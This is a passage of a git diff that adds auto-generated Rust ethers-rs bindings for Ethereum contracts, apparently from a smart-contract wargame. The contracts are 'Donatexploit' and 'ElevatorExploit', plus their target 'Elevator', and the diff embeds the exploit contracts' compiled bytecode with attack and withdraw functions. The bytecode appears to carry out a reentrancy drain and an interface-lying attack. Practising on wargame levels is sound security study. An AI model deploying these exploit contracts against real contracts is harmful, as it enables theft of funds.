\x84\x01>a\x01\"V[``\x91P[PPPP\0[`\0\x80\xFD[4\x80\x15a\x019W`\0\x80\xFD[Pa\x01Ba\x01\x92V[\0[4\x80\x15a\x01PW`\0\x80\xFD[Pa\x01Ya\x01\xE6V[`@\x80Q`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\x01Ba\x01\xF5V[4\x80\x15a\x01\x89W`\0\x80\xFD[Pa\x01Ya\x03KV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\xA9W`\0\x80\xFD[`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x91G\x80\x15a\x08\xFC\x02\x92\x90\x91\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\x01\xE3W=`\0\x80>=`\0\xFD[PV[`\0T`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02\x0CW`\0\x80\xFD[`\x01T`@\x80Qb6*\x95`\xE0\x1B\x81R0`\x04\x82\x01R\x90Q`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91\x82\x91b6*\x95\x914\x91`$\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x85\x88\x80;\x15\x80\x15a\x02ZW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02nW=`\0\x80>=`\0\xFD[PP`@\x80Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R\x90Q`\x01`\x01`\xA0\x1B\x03\x86\x16\x94Pcp\xA0\x821\x93P`$\x80\x83\x01\x93P` \x92\x82\x90\x03\x01\x81\x86\x80;\x15\x80\x15a\x02\xB7W`\0\x80\xFD[PZ\xFA\x15\x80\x15a\x02\xCBW=`\0\x80>=`\0\xFD[PPPP`@Q=` \x81\x10\x15a\x02\xE1W`\0\x80\xFD[PQ`\x02\x81\x90U`@\x80Qc.\x1A}M`\xE0\x1B\x81R`\x04\x81\x01\x92\x90\x92RQ`\x01`\x01`\xA0\x1B\x03\x83\x16\x91c.\x1A}M\x91`$\x80\x83\x01\x92`\0\x92\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x030W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x03DW=`\0\x80>=`\0\xFD[PPPPPV[`\x01T`\x01`\x01`\xA0\x1B\x03\x16\x81V\xFE\xA2dipfsX\"\x12 \xFEf\xF9\xE4\\\x0EHuFx\xBF\xC3\xBFE\xAE\0]\xBB\x94w\xD3\xD0B\xFBw\xAC\x14\xE8\xD3.\x9A\xD6dsolcC\0\x06\x0C\x003"; + /// The bytecode of the contract. + pub static DONATEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __BYTECODE, + ); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0CW`\x005`\xE0\x1C\x80c<\xCF\xD6\x0B\x14a\x01-W\x80c\x8D\xA5\xCB[\x14a\x01DW\x80c\x9E_\xAA\xFC\x14a\x01uW\x80c\xD4\xB89\x92\x14a\x01}Wa\x01(V[6a\x01(W`\x01T`\x02T`@\x80Q`$\x80\x82\x01\x93\x90\x93R\x81Q\x80\x82\x03\x90\x93\x01\x83R`D\x01\x81R` \x82\x01\x80Q`\x01`\x01`\xE0\x1B\x03\x16c.\x1A}M`\xE0\x1B\x17\x81R\x90Q\x82Q`\0\x94`\x01`\x01`\xA0\x1B\x03\x16\x93\x92\x82\x91\x80\x83\x83[` \x83\x10a\0\xBBW\x80Q\x82R`\x1F\x19\x90\x92\x01\x91` \x91\x82\x01\x91\x01a\0\x9CV[`\x01\x83` \x03a\x01\0\n\x03\x80\x19\x82Q\x16\x81\x84Q\x16\x80\x82\x17\x85RPPPPPP\x90P\x01\x91PP`\0`@Q\x80\x83\x03\x81`\0\x86Z\xF1\x91PP=\x80`\0\x81\x14a\x01\x1DW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\"V[``\x91P[PPPP\0[`\0\x80\xFD[4\x80\x15a\x019W`\0\x80\xFD[Pa\x01Ba\x01\x92V[\0[4\x80\x15a\x01PW`\0\x80\xFD[Pa\x01Ya\x01\xE6V[`@\x80Q`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\x01Ba\x01\xF5V[4\x80\x15a\x01\x89W`\0\x80\xFD[Pa\x01Ya\x03KV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\xA9W`\0\x80\xFD[`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x91G\x80\x15a\x08\xFC\x02\x92\x90\x91\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\x01\xE3W=`\0\x80>=`\0\xFD[PV[`\0T`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02\x0CW`\0\x80\xFD[`\x01T`@\x80Qb6*\x95`\xE0\x1B\x81R0`\x04\x82\x01R\x90Q`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91\x82\x91b6*\x95\x914\x91`$\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x85\x88\x80;\x15\x80\x15a\x02ZW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02nW=`\0\x80>=`\0\xFD[PP`@\x80Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R\x90Q`\x01`\x01`\xA0\x1B\x03\x86\x16\x94Pcp\xA0\x821\x93P`$\x80\x83\x01\x93P` \x92\x82\x90\x03\x01\x81\x86\x80;\x15\x80\x15a\x02\xB7W`\0\x80\xFD[PZ\xFA\x15\x80\x15a\x02\xCBW=`\0\x80>=`\0\xFD[PPPP`@Q=` \x81\x10\x15a\x02\xE1W`\0\x80\xFD[PQ`\x02\x81\x90U`@\x80Qc.\x1A}M`\xE0\x1B\x81R`\x04\x81\x01\x92\x90\x92RQ`\x01`\x01`\xA0\x1B\x03\x83\x16\x91c.\x1A}M\x91`$\x80\x83\x01\x92`\0\x92\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x030W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x03DW=`\0\x80>=`\0\xFD[PPPPPV[`\x01T`\x01`\x01`\xA0\x1B\x03\x16\x81V\xFE\xA2dipfsX\"\x12 \xFEf\xF9\xE4\\\x0EHuFx\xBF\xC3\xBFE\xAE\0]\xBB\x94w\xD3\xD0B\xFBw\xAC\x14\xE8\xD3.\x9A\xD6dsolcC\0\x06\x0C\x003"; + /// The deployed bytecode of the contract. + pub static DONATEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __DEPLOYED_BYTECODE, + ); + pub struct Donatexploit(::ethers::contract::Contract); + impl ::core::clone::Clone for Donatexploit { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for Donatexploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for Donatexploit { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for Donatexploit { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Donatexploit)) + .field(&self.address()) + .finish() + } + } + impl Donatexploit { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + DONATEXPLOIT_ABI.clone(), + client, + ), + ) + } + /// Constructs the general purpose `Deployer` instance based on the provided constructor arguments and sends it. + /// Returns a new instance of a deployer that returns an instance of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + DONATEXPLOIT_ABI.clone(), + DONATEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `attack` (0x9e5faafc) function + pub fn attack(&self) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([158, 95, 170, 252], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `owner` (0x8da5cb5b) function + pub fn owner( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([141, 165, 203, 91], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `target` (0xd4b83992) function + pub fn target( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([212, 184, 57, 146], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `withdraw` (0x3ccfd60b) function + pub fn withdraw(&self) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([60, 207, 214, 11], ()) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for Donatexploit { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `attack` function with signature `attack()` and selector `0x9e5faafc` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "attack", abi = "attack()")] + pub struct AttackCall; + ///Container type for all input parameters for the `owner` function with signature `owner()` and selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "owner", abi = "owner()")] + pub struct OwnerCall; + ///Container type for all input parameters for the `target` function with signature `target()` and selector `0xd4b83992` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "target", abi = "target()")] + pub struct TargetCall; + ///Container type for all input parameters for the `withdraw` function with signature `withdraw()` and selector `0x3ccfd60b` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "withdraw", abi = "withdraw()")] + pub struct WithdrawCall; + ///Container type for all of the contract's call + #[derive(Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash)] + pub enum DonatexploitCalls { + Attack(AttackCall), + Owner(OwnerCall), + Target(TargetCall), + Withdraw(WithdrawCall), + } + impl ::ethers::core::abi::AbiDecode for DonatexploitCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result { + let data = data.as_ref(); + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Attack(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Owner(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Target(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Withdraw(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for DonatexploitCalls { + fn encode(self) -> Vec { + match self { + Self::Attack(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::Owner(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::Target(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::Withdraw(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for DonatexploitCalls { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + match self { + Self::Attack(element) => ::core::fmt::Display::fmt(element, f), + Self::Owner(element) => ::core::fmt::Display::fmt(element, f), + Self::Target(element) => ::core::fmt::Display::fmt(element, f), + Self::Withdraw(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for DonatexploitCalls { + fn from(value: AttackCall) -> Self { + Self::Attack(value) + } + } + impl ::core::convert::From for DonatexploitCalls { + fn from(value: OwnerCall) -> Self { + Self::Owner(value) + } + } + impl ::core::convert::From for DonatexploitCalls { + fn from(value: TargetCall) -> Self { + Self::Target(value) + } + } + impl ::core::convert::From for DonatexploitCalls { + fn from(value: WithdrawCall) -> Self { + Self::Withdraw(value) + } + } + ///Container type for all return fields from the `owner` function with signature `owner()` and selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct OwnerReturn(pub ::ethers::core::types::Address); + ///Container type for all return fields from the `target` function with signature `target()` and selector `0xd4b83992` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct TargetReturn(pub ::ethers::core::types::Address); +} diff --git a/attack/src/abi/elevator.rs b/attack/src/abi/elevator.rs new file mode 100644 index 0000000..defb155 --- /dev/null +++ b/attack/src/abi/elevator.rs @@ -0,0 +1,285 @@ +pub use elevator::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod elevator { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("floor"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("floor"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("goTo"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("goTo"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_floor"), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("top"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("top"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static ELEVATOR_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + pub struct Elevator(::ethers::contract::Contract); + impl ::core::clone::Clone for Elevator { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for Elevator { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for Elevator { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for Elevator { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Elevator)).field(&self.address()).finish() + } + } + impl Elevator { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + ELEVATOR_ABI.clone(), + client, + ), + ) + } + ///Calls the contract's `floor` (0x40695363) function + pub fn floor( + &self, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([64, 105, 83, 99], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `goTo` (0xed9a7134) function + pub fn go_to( + &self, + floor: ::ethers::core::types::U256, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([237, 154, 113, 52], floor) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `top` (0xfe6dcdba) function + pub fn top(&self) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([254, 109, 205, 186], ()) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for Elevator { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `floor` function with signature `floor()` and selector `0x40695363` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "floor", abi = "floor()")] + pub struct FloorCall; + ///Container type for all input parameters for the `goTo` function with signature `goTo(uint256)` and selector `0xed9a7134` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "goTo", abi = "goTo(uint256)")] + pub struct GoToCall { + pub floor: ::ethers::core::types::U256, + } + ///Container type for all input parameters for the `top` function with signature `top()` and selector `0xfe6dcdba` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "top", abi = "top()")] + pub struct TopCall; + ///Container type for all of the contract's call + #[derive(Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash)] + pub enum ElevatorCalls { + Floor(FloorCall), + GoTo(GoToCall), + Top(TopCall), + } + impl ::ethers::core::abi::AbiDecode for ElevatorCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result { + let data = data.as_ref(); + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Floor(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::GoTo(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Top(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for ElevatorCalls { + fn encode(self) -> Vec { + match self { + Self::Floor(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::GoTo(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::Top(element) => ::ethers::core::abi::AbiEncode::encode(element), + } + } + } + impl ::core::fmt::Display for ElevatorCalls { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + match self { + Self::Floor(element) => ::core::fmt::Display::fmt(element, f), + Self::GoTo(element) => ::core::fmt::Display::fmt(element, f), + Self::Top(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for ElevatorCalls { + fn from(value: FloorCall) -> Self { + Self::Floor(value) + } + } + impl ::core::convert::From for ElevatorCalls { + fn from(value: GoToCall) -> Self { + Self::GoTo(value) + } + } + impl ::core::convert::From for ElevatorCalls { + fn from(value: TopCall) -> Self { + Self::Top(value) + } + } + ///Container type for all return fields from the `floor` function with signature `floor()` and selector `0x40695363` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct FloorReturn(pub ::ethers::core::types::U256); + ///Container type for all return fields from the `top` function with signature `top()` and selector `0xfe6dcdba` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct TopReturn(pub bool); +} diff --git a/attack/src/abi/elevator_exploit.rs b/attack/src/abi/elevator_exploit.rs new file mode 100644 index 0000000..d75673d --- /dev/null +++ b/attack/src/abi/elevator_exploit.rs @@ -0,0 +1,284 @@ +pub use elevator_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod elevator_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("attack"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("attack"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_target"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("isLastFloor"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("isLastFloor"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static ELEVATOREXPLOIT_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R`\0\x80T`\xFF\x19\x16`\x01\x17\x90U4\x80\x15a\0\x1DW`\0\x80\xFD[Pa\x029\x80a\0-`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c_\x9AK\xCA\x14a\0;W\x80c\xD0\x18\xDB>\x14a\0wW[`\0\x80\xFD[a\0ca\0I6`\x04a\x01\x98V[P`\0\x80T`\xFF\x19\x81\x16`\xFF\x91\x82\x16\x15\x90\x81\x17\x90\x92U\x16\x90V[`@Q\x90\x15\x15\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x8Aa\0\x856`\x04a\x01\xB1V[a\0\x8CV[\0[`@Qc;f\x9CM`\xE2\x1B\x81R`\0`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x82\x16\x90c\xED\x9Aq4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\0\xD0W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\0\xE4W=`\0\x80>=`\0\xFD[PPPP\x80`\x01`\x01`\xA0\x1B\x03\x16c\xFEm\xCD\xBA`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01(W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01L\x91\x90a\x01\xE1V[a\x01\x94W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x15`$\x82\x01Rt\x04F\x96F\xE2wB\x06vWB\x07F\xF2\x07F\x86R\x07F\xF7`\\\x1B`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[PPV[`\0` \x82\x84\x03\x12\x15a\x01\xAAW`\0\x80\xFD[P5\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x01\xC3W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01\xDAW`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x01\xF3W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x01\xDAW`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xB6l\xB2\xE1\x98}\x13\x19\x90e\x96^i\xFA\xDA\\\x871\x8B\xD8\xA4\x04U@\xEAP\x82\x92\xD9\xEBG\x9CdsolcC\0\x08\x14\x003"; + /// The bytecode of the contract. + pub static ELEVATOREXPLOIT_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __BYTECODE, + ); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c_\x9AK\xCA\x14a\0;W\x80c\xD0\x18\xDB>\x14a\0wW[`\0\x80\xFD[a\0ca\0I6`\x04a\x01\x98V[P`\0\x80T`\xFF\x19\x81\x16`\xFF\x91\x82\x16\x15\x90\x81\x17\x90\x92U\x16\x90V[`@Q\x90\x15\x15\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x8Aa\0\x856`\x04a\x01\xB1V[a\0\x8CV[\0[`@Qc;f\x9CM`\xE2\x1B\x81R`\0`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x82\x16\x90c\xED\x9Aq4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\0\xD0W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\0\xE4W=`\0\x80>=`\0\xFD[PPPP\x80`\x01`\x01`\xA0\x1B\x03\x16c\xFEm\xCD\xBA`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01(W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01L\x91\x90a\x01\xE1V[a\x01\x94W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x15`$\x82\x01Rt\x04F\x96F\xE2wB\x06vWB\x07F\xF2\x07F\x86R\x07F\xF7`\\\x1B`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[PPV[`\0` \x82\x84\x03\x12\x15a\x01\xAAW`\0\x80\xFD[P5\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x01\xC3W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01\xDAW`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x01\xF3W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x01\xDAW`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xB6l\xB2\xE1\x98}\x13\x19\x90e\x96^i\xFA\xDA\\\x871\x8B\xD8\xA4\x04U@\xEAP\x82\x92\xD9\xEBG\x9CdsolcC\0\x08\x14\x003"; + /// The deployed bytecode of the contract. + pub static ELEVATOREXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __DEPLOYED_BYTECODE, + ); + pub struct ElevatorExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for ElevatorExploit { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for ElevatorExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for ElevatorExploit { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for ElevatorExploit { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + 